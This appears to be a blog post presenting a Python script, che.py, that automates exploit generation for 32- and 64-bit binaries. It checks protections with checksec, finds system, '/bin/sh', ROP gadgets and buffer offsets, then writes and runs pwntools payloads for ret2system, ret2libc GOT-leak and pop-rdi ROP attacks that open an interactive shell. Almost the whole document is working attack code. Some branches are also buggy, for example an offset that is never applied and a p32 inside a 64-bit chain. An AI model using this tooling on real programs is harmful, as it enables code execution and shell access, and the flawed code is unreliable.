概要
Python对二进制文件漏洞payload的处理
整体架构流程
che.py
import subprocess
import os
import pwntools
class Checker():
#return program bit
def bitter(file):
comm = 'checksec '+str(file)
bit = 0
data = subprocess.getstatusoutput(comm)
if('i386' in str(data)):
bit = 32
elif('amd64' in str(data)):
bit = 64
else:
bit = 0
return bit
#return program protect level
def protect(file):
comm = 'checksec '+str(file)
data = subprocess.getstatusoutput(comm)
level = 0
if('Canary found' in str(data)):
level += 1
if('NX enabled' in str(data)):
level += 2
if('PIE enabled' in str(data)):
level += 4
return level
#retern print level string
def read_protect(val):
if(val == 0 ):
protect = '=-=- NO Protect! -=-='
elif(val == 1 ):
protect = '=-| '+'Canary in Stack !'+' |-=\n'
elif(val == 5 ):
protect = '=-| '+'Canary in Stack !'+' |-=\n'+'=-| '+'PIE enabled !'+' |-=\n'
elif(val == 2 ):
protect = '=-| '+'NX enable !'+' |-=\n'
elif(val == 4 ):
protect = '=-| '+'PIE enabled !'+' |-=\n'
elif(val == 3 ):
protect = '=-| '+'Canary in Stack !'+' |-=\n=-| '+'NX enable !'+' |-=\n'
elif(val == 7 ):
protect = '=-| '+'Canary in Stack !'+' |-=\n=-| '+'NX enable !'+' |-=\n=-| '+'PIE enabled !'+' |-=\n'
else:
protect = '==--- Unknow: '+str(val)+' ---==\n'
return '=-=-=-=-=-=-=-=-=-=-=-=-=\n=- Protect -=\n=-=-=-=-=-=-=-=-=-=-=-=-=\n' + protect +'=-=-=-=-=-=-=-=-=-=-=-=-=\n'
#return libc addr
def libc_addr(file):
comm = 'ldd '+str(file)
dat = subprocess.getstatusoutput(comm)
dat = str(dat).split('=>')[1]
dat = dat.split(' ')[1]
return dat
#64bit gadget info
def gadget(file):
comm = 'ROPgadget --binary '+str(file)+' --only "pop|ret"'
dat = os.system(comm)
comm = 'ROPgadget --binary '+str(file)+' --string "/bin/sh"'
dat = os.system(comm)
comm = 'objdump -d -M intel '+str(file)+' | grep "system" '
dat = os.system(comm)
comm = 'objdump -d -M intel '+str(file)+' | grep "main" '
dat = os.system(comm)
comm = 'objdump -d -M intel '+str(file)+' | grep "read" '
dat = os.system(comm)
comm = 'objdump -d -M intel '+str(file)+' | grep "puts" '
dat = os.system(comm)
comm = 'objdump -d -M intel '+str(file)+' | grep "write" '
dat = os.system(comm)
#write in payload.py
def wri_payload(bitter):
f = open("payload.py",'a')
f.close()
#search '/bin/sh' & system addr
def eazy_get(file):
fun_na = 'system'
comm = 'objdump -d -M intel '+str(file)+' | grep '+ fun_na
re = subprocess.getstatusoutput(comm)
sys_addr = ''
if(len(re[1]) < 10 ):
print('\033[1;31m No find function: system in '+file+'\033[0m')
else:
sys_addr = pwntools.find_addr(file,'system','fun')
print('\033[1;32m System address : \033[0m'+str(hex(sys_addr)))
fun_na = '"/bin/sh"'
comm = 'ROPgadget --binary '+str(file)+' --string '+ fun_na
re = subprocess.getstatusoutput(comm)
bin_sh_addr = ''
num = 0
base = 0
if(len(re[1]) < 100 ):
print('\033[1;31m No find "/bin/sh" in '+file+'\033[0m')
else:
bin_sh_addr = pwntools.find_addr(file,'','/bin/sh')
print('\033[1;32m "/bin/sh" address : \033[0m'+str(hex(bin_sh_addr)))
if(sys_addr != '' and bin_sh_addr != '' ):
Checker.wri_payload(32)
f = open("payload.py",'a')
f.write('\np = process("./' + file + '")')
f.write('\nsystem_addr = ' + str(sys_addr) + '')
f.write('\nbin_sh_addr = ' + str(bin_sh_addr))
num = int(input('How many inputs did the overflow occur(1-5)?\n: '))
if( num > 1):
for i in range(num-1):
base = input('How many buf arrive EBP?(0x??)\n: ')
f.write('\np.sendline(b"A")')
f.write('\nsleep(0.3)')
else:
if(input('Are you need Auto find base?(y/n)') == 'y'):
comm = 'objdump -d -M intel ' + file + ' | grep -B 10 "<read@plt>" |grep ebp-'
dat = subprocess.getstatusoutput(comm)
comm2 = 'objdump -d -M intel ' + file + ' | grep -B 10 "<gets@plt>" |grep ebp-'
dat2 = subprocess.getstatusoutput(comm2)
if(dat[1] == ''):
dat = dat2
dat = str(dat).split('ebp-')[1][:4]
base = dat.replace(']', '0')
else:
base = input('How many buf arrive EBP?(0x??)\n: ')
f.write('\npayload = b"A" * ' + str(base) + ' + p32(0) + p32('+str(sys_addr)+') + p32(0) + p32(' + str(bin_sh_addr) + ')')
f.write('\np.sendline(payload)')
f.write('\nsleep(0.3)')
f.write('\np.sendline(b"ls /")')
f.write('\np.interactive()')
f.close()
os.system("python3 payload.py")
if(sys_addr == '' or bin_sh_addr == '' ):
fun_na = 'puts'
comm = 'objdump -d -M intel '+str(file)+' | grep '+ fun_na
re = subprocess.getstatusoutput(comm)
if(len(re[1]) < 10 ):
print('\033[1;31m No find function: puts in '+file+'\033[0m')
else:
num = 0
stack_base = 0
puts_addr = pwntools.find_addr(file,'puts','func')
Checker.wri_payload(32)
f = open("payload.py",'a')
f.write('\np = process("./' + file + '")')
f.write('\nelf = ELF("' + file + '")')
f.write('\nlibc = ELF("' + Checker.libc_addr(file) + '")')
f.write('\nlibc_sys_addr = libc.symbols["system"]')
f.write('\nlibc_bin_sh_addr = next(libc.search(b"/bin/sh"))')
f.write('\nlibc_puts_addr = libc.symbols["puts"]')
f.write('\nputs_got = elf.got["puts"]')
f.write('\nputs_plt = elf.plt["puts"]')
f.write('\nmain_addr = elf.symbols["main"]')
num = int(input('How many inputs did the overflow occur(1-5)?\n: '))
if( num > 1):
for i in range(num-1):
base = input('How many buf arrive EBP?(0x??)\n: ')
f.write('\np.sendline(b"A")')
f.write('\nsleep(0.3)')
else:
if(input('Are you need Auto find base?(y/n)') == 'y'):
comm = 'objdump -d -M intel ' + file + ' | grep -B 10 "<read@plt>" |grep ebp-'
dat = subprocess.getstatusoutput(comm)
comm2 = 'objdump -d -M intel ' + file + ' | grep -B 10 "<gets@plt>" |grep ebp-'
dat2 = subprocess.getstatusoutput(comm2)
if(dat[1] == ''):
dat = dat2
dat = str(dat).split('ebp-')[1][:4]
base = dat.replace(']', '0')
else:
base = input('How many buf arrive EBP?(0x??)\n: ')
f.write('\npayload = b"A" * ' + str(stack_base) + ' + p32(0) + p32(puts_plt) + p32(main_addr) + p32(puts_got)')
f.write('\np.sendline(payload)')
f.write('\nputs_addr = u32(p.recvuntil("\\xf7")[-4:])')
f.write('\nbase_addr = puts_addr - libc_puts_addr')
if( num > 1):
for i in range(num-1):
f.write('\np.sendline(b"A")')
f.write('\nsleep(0.3)')
f.write('\npayload = b"A" * ' + str(stack_base) + ' + p32(0) + p32(libc_sys_addr + base_addr) + p32(0) + p32(libc_bin_sh_addr+base_addr)')
f.write('\nsleep(0.3)')
f.write('\np.sendline(payload)')
f.write('\np.sendline(b"ls /")')
f.write('\np.interactive()')
f.close()
os.system("python3 payload.py")
def eazy_pie(file):
fun_na = 'puts'
comm = 'objdump -d -M intel '+str(file)+' | grep '+ fun_na
re = subprocess.getstatusoutput(comm)
if(len(re[1]) < 10 ):
num = 0
stack_base = 0
write_addr = pwntools.find_addr(file,'write','func')
Checker.wri_payload(32)
f = open("payload.py",'a')
f.write('\np = process("./' + file + '")')
f.write('\nelf = ELF("' + file + '")')
f.write('\nlibc = ELF("' + Checker.libc_addr(file) + '")')
f.write('\nlibc_sys_addr = libc.symbols["system"]')
f.write('\nlibc_bin_sh_addr = next(libc.search(b"/bin/sh"))')
f.write('\nlibc_write_addr = libc.symbols["write"]')
f.write('\nwrite_got = elf.got["write"]')
f.write('\nwrite_plt = elf.plt["write"]')
f.write('\nmain_addr = elf.symbols["main"]')
num = int(input('How many inputs did the overflow occur(1-5)?\n: '))
if( num > 1):
for i in range(num-1):
base = input('How many buf arrive EBP?(0x??)\n: ')
f.write('\np.sendline(b"A")')
f.write('\nsleep(0.3)')
else:
comm = 'objdump -d -M intel ' + file + ' | grep -B 10 "<read@plt>" |grep ebp-'
dat = subprocess.getstatusoutput(comm)
comm2 = 'objdump -d -M intel ' + file + ' | grep -B 10 "<gets@plt>" |grep ebp-'
dat2 = subprocess.getstatusoutput(comm2)
if(dat[1] == ''):
dat = dat2
dat = str(dat).split('ebp-')[1][:4]
stack_base = dat.replace(']', '0')
f.write('\npayload = b"A" * ' + str(stack_base) + ' + p32(0) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) +p32(4)')
f.write('\np.sendline(payload)')
f.write('\nwrite_addr = u32(p.recvuntil("\\xf7")[-4:])')
f.write('\nbase_addr = write_addr - libc_write_addr')
if( num > 1):
for i in range(num-1):
f.write('\np.sendline(b"A")')
f.write('\nsleep(0.3)')
f.write('\npayload = b"A" * ' + str(stack_base) + ' + p32(0) + p32(libc_sys_addr + base_addr) + p32(0) + p32(libc_bin_sh_addr+base_addr)')
f.write('\nsleep(0.3)')
f.write('\np.sendline(payload)')
f.write('\np.sendline(b"ls /")')
f.write('\np.interactive()')
f.close()
os.system("python3 payload.py")
else:
num = 0
stack_base = 0
puts_addr = pwntools.find_addr(file,'puts','func')
Checker.wri_payload(32)
f = open("payload.py",'a')
f.write('\np = process("./' + file + '")')
f.write('\nelf = ELF("' + file + '")')
f.write('\nlibc = ELF("' + Checker.libc_addr(file) + '")')
f.write('\nlibc_sys_addr = libc.symbols["system"]')
f.write('\nlibc_bin_sh_addr = next(libc.search(b"/bin/sh"))')
f.write('\nlibc_puts_addr = libc.symbols["puts"]')
f.write('\nputs_got = elf.got["puts"]')
f.write('\nputs_plt = elf.plt["puts"]')
f.write('\nmain_addr = elf.symbols["main"]')
num = int(input('How many inputs did the overflow occur(1-5)?\n: '))
if( num > 1):
for i in range(num-1):
base = input('How many buf arrive EBP?(0x??)\n: ')
f.write('\np.sendline(b"A")')
f.write('\nsleep(0.3)')
else:
comm = 'objdump -d -M intel ' + file + ' | grep -B 10 "<read@plt>" |grep ebp-'
dat = subprocess.getstatusoutput(comm)
comm2 = 'objdump -d -M intel ' + file + ' | grep -B 10 "<gets@plt>" |grep ebp-'
dat2 = subprocess.getstatusoutput(comm2)
if(dat[1] == ''):
dat = dat2
dat = str(dat).split('ebp-')[1][:4]
stack_base = dat.replace(']', '0')
f.write('\npayload = b"A" * ' + str(stack_base) + ' + p32(0) + p32(puts_plt) + p32(main_addr) + p32(puts_got)')
f.write('\np.sendline(payload)')
f.write('\nputs_addr = u32(p.recvuntil("\\xf7")[-4:])')
f.write('\nbase_addr = puts_addr - libc_puts_addr')
if( num > 1):
for i in range(num-1):
f.write('\np.sendline(b"A")')
f.write('\nsleep(0.3)')
f.write('\npayload = b"A" * ' + str(stack_base) + ' + p32(0) + p32(libc_sys_addr + base_addr) + p32(0) + p32(libc_bin_sh_addr+base_addr)')
f.write('\nsleep(0.3)')
f.write('\np.sendline(payload)')
f.write('\np.sendline(b"ls /")')
f.write('\np.interactive()')
f.close()
os.system("python3 payload.py")
#64 bit!
def eazy_get_64(file):
fun_na = 'system'
comm = 'objdump -d -M intel ' + file + ' | grep '+ fun_na
re = subprocess.getstatusoutput(comm)
sys_addr = ''
if(len(re[1]) < 10 ):
print('\033[1;31m No find function: system in '+file+'\033[0m')
else:
sys_addr = pwntools.find_addr(file,'system','fun')
print('\033[1;32m System address : \033[0m'+str(hex(sys_addr)))
fun_na = '"/bin/sh"'
comm = 'ROPgadget --binary '+str(file)+' --string '+ fun_na
re = subprocess.getstatusoutput(comm)
bin_sh_addr = ''
if(len(re[1]) < 100 ):
print('\033[1;31m No find "/bin/sh" in '+file+'\033[0m')
else:
bin_sh_addr = pwntools.find_addr(file,'','/bin/sh')
print('\033[1;32m "/bin/sh" address : \033[0m'+str(hex(bin_sh_addr)))
fun_na = '"pop|ret"'
fun2 = '"rdi"'
comm = 'ROPgadget --binary '+str(file)+' --only '+ fun_na +' | grep ' + fun2
re = subprocess.getstatusoutput(comm)
pop_rdi_ret_addr = ''
if(len(re[1]) < 14 ):
print('\033[1;31m No find Gadget: POP,RET - RDI in '+file+'\033[0m')
else:
re = str(re)
pop_rdi_ret_addr = int(re.split(" ")[1].replace("'", ''),16)
print('\033[1;32m "POP,RET - RDI" address : \033[0m'+str(hex(pop_rdi_ret_addr)))
fun_na = '"ret"'
comm = 'ROPgadget --binary ' + file + ' --only '+ fun_na +' | grep ' + fun_na
re = subprocess.getstatusoutput(comm)
ret_addr = ''
if(len(re[1]) < 14 ):
print('\033[1;31m No find Gadget: RET in '+file+'\033[0m')
else:
re = str(re)
ret_addr = int(re.split(" ")[1].replace("'", ''),16)
print('\033[1;32m "RDI" address : \033[0m'+str(hex(ret_addr)))
num = 0
base = 0
if(sys_addr != '' and bin_sh_addr != '' and pop_rdi_ret_addr != '' and ret_addr != ''):
Checker.wri_payload(32)
f = open("payload.py",'a')
f.write('\np = process("./' + file + '")')
f.write('\nsystem_addr = ' + str(sys_addr))
f.write('\nbin_sh_addr = ' + str(bin_sh_addr))
f.write('\npop_rdi_ret_addr = ' + str(pop_rdi_ret_addr))
f.write('\nret_addr = ' + str(ret_addr))
num = int(input('How many inputs did the overflow occur(1-5)?\n: '))
if( num > 1):
for i in range(num-1):
base = input('How many buf arrive RBP?(0x??)\n: ')
f.write('\np.sendline(b"A")')
f.write('\nsleep(0.3)')
else:
if(input('Are you need Auto find base?(y/n)') == 'y'):
comm = 'objdump -d -M intel ' + file + ' | grep -B 10 "<read@plt>" |grep rbp-'
dat = subprocess.getstatusoutput(comm)
comm2 = 'objdump -d -M intel ' + file + ' | grep -B 10 "<gets@plt>" |grep rbp-'
dat2 = subprocess.getstatusoutput(comm2)
if(dat[1] == ''):
dat = dat2
dat = str(dat).split('rbp-')[1][:4]
base = dat.replace(']', '0')
else:
base = input('How many buf arrive EBP?(0x??)\n: ')
f.write('\npayload = b"A" * ' + str(base) + ' + p64(0) + p32(ret_addr) + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr)')
f.write('\np.sendline(payload)')
f.write('\nsleep(0.3)')
f.write('\np.sendline(b"ls /")')
f.write('\np.interactive()')
f.close()
os.system("python3 payload.py")